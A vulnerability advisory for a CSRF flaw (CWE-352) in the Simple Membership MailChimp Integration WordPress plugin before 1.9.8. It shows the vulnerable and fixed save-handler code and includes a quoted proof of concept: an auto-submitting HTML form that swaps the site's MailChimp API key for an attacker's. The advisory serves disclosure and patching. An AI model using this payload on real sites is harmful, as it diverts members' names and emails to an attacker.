Skip to content
FortressDiscuss your projectMenu

CVE-2026-8151

Simple Membership MailChimp Integration: API Key Update via CSRF

Product
Simple Membership MailChimp Integration (WordPress plugin)
Versions
Before 1.9.8 · fixed in 1.9.8
Severity
MediumCVSS score 5.4 · WPScan
CVE
CVE-2026-8151, assigned by WPScan
Found by
Mustafa Ahmed, Fortress MSSP
Published
November 11, 2026CVE published by WPScan on September 2, 2026

Description

The Simple Membership MailChimp Integration WordPress plugin before 1.9.8 does not have CSRF checks in its settings page, allowing attackers to trick a logged-in administrator into changing the configured third-party API key. Once replaced, all subsequent member registration data (name, email, membership level) is sent to the attacker-controlled account.

From the CVE record · CWE-352 Cross-Site Request Forgery (CSRF)

Technical analysis

swpm_mc_admin_interface() treats any POST that contains swpm_mc_save_settings as a settings save: it reads mc_api_key and the two checkbox fields from $_POST and writes them to the swpm_mailchimp_settings option with update_option(). No nonce (or referer) is checked before the write, so the handler cannot tell a form the administrator submitted from one submitted on their behalf by another site.

Vulnerable: swpm-mailchimp-admin-menu.php, version 1.9.7
    if ( isset( $_POST[ 'swpm_mc_save_settings' ] ) ) {

        $api_key = isset ( $_POST[ 'mc_api_key' ] ) ? sanitize_text_field( $_POST[ 'mc_api_key' ] ) : '';

	$options = array(

	    'mc_api_key' => trim( $api_key ),

            'mc_enable_double_optin'	 => isset( $_POST[ 'mc_enable_double_optin' ] ) ? 1 : 0,

	    'mc_remove_when_cancelled'	 => isset( $_POST[ 'mc_remove_when_cancelled' ] ) ? 1 : 0,

	);

	update_option( 'swpm_mailchimp_settings', $options ); //store the results in WP options table

1.9.8 calls check_admin_referer( 'swpm_mc_save_settings' ) at the top of the save branch, before the option is written, and the settings form now outputs the matching nonce with wp_nonce_field( 'swpm_mc_save_settings' ) (line 67).

Fixed: swpm-mailchimp-admin-menu.php, version 1.9.8
    if ( isset( $_POST[ 'swpm_mc_save_settings' ] ) ) {

        check_admin_referer( 'swpm_mc_save_settings' );



        $api_key = isset ( $_POST[ 'mc_api_key' ] ) ? sanitize_text_field( $_POST[ 'mc_api_key' ] ) : '';

	    $options = array(

            'mc_api_key' => trim( $api_key ),

            'mc_enable_double_optin'	 => isset( $_POST[ 'mc_enable_double_optin' ] ) ? 1 : 0,

            'mc_remove_when_cancelled'	 => isset( $_POST[ 'mc_remove_when_cancelled' ] ) ? 1 : 0,

        );

        update_option( 'swpm_mailchimp_settings', $options ); //store the results in WP options table

Fortress’s reading of the public source code at the versions shown.

Proof of concept

As published by WPScan in its advisory on May 14, 2026.

Prerequisites:
- Simple Membership and Simple Membership MailChimp Integration plugins are installed and active.
- A site administrator visits the attacker-controlled page while logged into WordPress.

Steps:

1. Host the following HTML on an attacker-controlled page:

<html>
<body>
<form action="https://TARGET/wp-admin/admin.php?page=swpm-mailchimp" method="POST">
  <input type="hidden" name="mc_api_key" value="ATTACKER_MAILCHIMP_API_KEY_HERE">
  <input type="hidden" name="mc_enable_double_optin" value="0">
  <input type="hidden" name="mc_remove_when_cancelled" value="0">
  <input type="hidden" name="swpm_mc_save_settings" value="Save">
</form>
<script>document.forms[0].submit();</script>
</body>
</html>

2. Trick a logged-in WordPress administrator into visiting the page; the form auto-submits.

Expected result:
- The `swpm_mailchimp_settings` WordPress option is updated and `mc_api_key` is set to `ATTACKER_MAILCHIMP_API_KEY_HERE`.
- All subsequent member registrations submit first_name, last_name, email, and membership_level to the attacker-controlled MailChimp account.

Severity

WPScan rates it 5.4 (medium).

  • CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:NWPScan

Remediation

Update Simple Membership MailChimp Integration to 1.9.8 or later.

Disclosure timeline

  1. CVE ID reserved by WPScan.
  2. Fix committed to the plugin repository (r3529301).
  3. Version 1.9.8 released.
  4. WPScan advisory published.
  5. CVE published by WPScan.
  6. Published on this site.

Credit

Found and reported by Mustafa Ahmed of Fortress MSSP. The CVE record credits Mustafa Ahmed as finder and WPScan as coordinator.

WPScan's advisory lists Mustafa Ahmed as original researcher and submitter, with fortressmssp.com as the submitter's website.

References